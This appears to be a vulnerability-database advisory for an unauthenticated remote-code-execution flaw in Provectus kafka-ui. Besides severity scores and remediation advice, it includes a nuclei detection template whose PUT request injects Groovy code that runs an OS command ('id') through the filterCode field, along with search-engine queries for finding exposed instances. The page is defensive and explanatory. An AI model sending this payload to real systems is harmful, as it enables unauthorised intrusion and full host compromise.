HexBrain

Browse / CVEs / CVE-2026-5562

CVE-2026-5562· provectus / kafka-ui· CWE-94

Provectus kafka-ui <=0.7.2 - Remote Code Execution

criticalseverity
9.8CVSS score
2.6%likelihood of exploitation, next 30 days
85%of all CVEs are less likely
Readycheck to confirm it

Provectus kafka-ui versions 0.7.0 through 0.7.2 are vulnerable to code injection in the `/api/smartfilters/testexecutions` endpoint. The `filterCode` parameter is evaluated as a Groovy expression without sandboxing, allowing an unauthenticated attacker to execute arbitrary code and operating-system commands on the host.

Impact

Successful exploitation grants unauthenticated remote code execution in the context of the kafka-ui process, leading to full compromise of the host and the connected Kafka clusters.

Fix

Provectus kafka-ui is end-of-life and no patched release exists (0.7.2 is the final version). Migrate to the maintained kafbat/kafka-ui fork, and in the meantime restrict network access to the interface and place it behind authentication.

How to confirm it

Send: PUT /api/smartfilters/testexecutions
Positive when: contains "{{marker}}_" AND matches /uid=[0-9]+.*gid=[0-9]+.*/ AND status 200

Run it with nuclei: nuclei -id CVE-2026-5562 -u <target>

The full check
id: CVE-2026-5562

info:
  name: Provectus kafka-ui <=0.7.2 - Remote Code Execution
  author: christianfl,0xNayel
  severity: critical
  description: |
    Provectus kafka-ui versions 0.7.0 through 0.7.2 are vulnerable to code injection in the `/api/smartfilters/testexecutions` endpoint. The `filterCode` parameter is evaluated as a Groovy expression without sandboxing, allowing an unauthenticated attacker to execute arbitrary code and operating-system commands on the host.
  impact: |
    Successful exploitation grants unauthenticated remote code execution in the context of the kafka-ui process, leading to full compromise of the host and the connected Kafka clusters.
  remediation: |
    Provectus kafka-ui is end-of-life and no patched release exists (0.7.2 is the final version). Migrate to the maintained kafbat/kafka-ui fork, and in the meantime restrict network access to the interface and place it behind authentication.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-5562
    - https://vuldb.com/?id.355332
    - https://github.com/provectus/kafka-ui
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-5562
    epss-score: 0.02578
    epss-percentile: 0.85341
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    vendor: provectus
    product: kafka-ui
    shodan-query: http.title:"UI for Apache Kafka"
    fofa-query: title="UI for Apache Kafka"
  tags: cve,cve2026,rce,kafka-ui,provectus,groovy,injection,intrusive

variables:
  cmd: "id"
  marker: "{{rand_base(6)}}"

http:
  - raw:
      - |
        PUT /api/smartfilters/testexecutions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        {
          "filterCode": "throw new Exception('{{marker}}_' + '{{cmd}}'.execute().text)",
          "key": "k",
          "value": "v",
          "offset": 0,
          "partition": 0,
          "timestampMs": 0
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}_"

      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - "{{marker}}_(uid=[0-9]+\\([a-z0-9_-]+\\)[^\"\\\\]*)"

References

Use this check only on systems you are authorised to test. Where the data comes from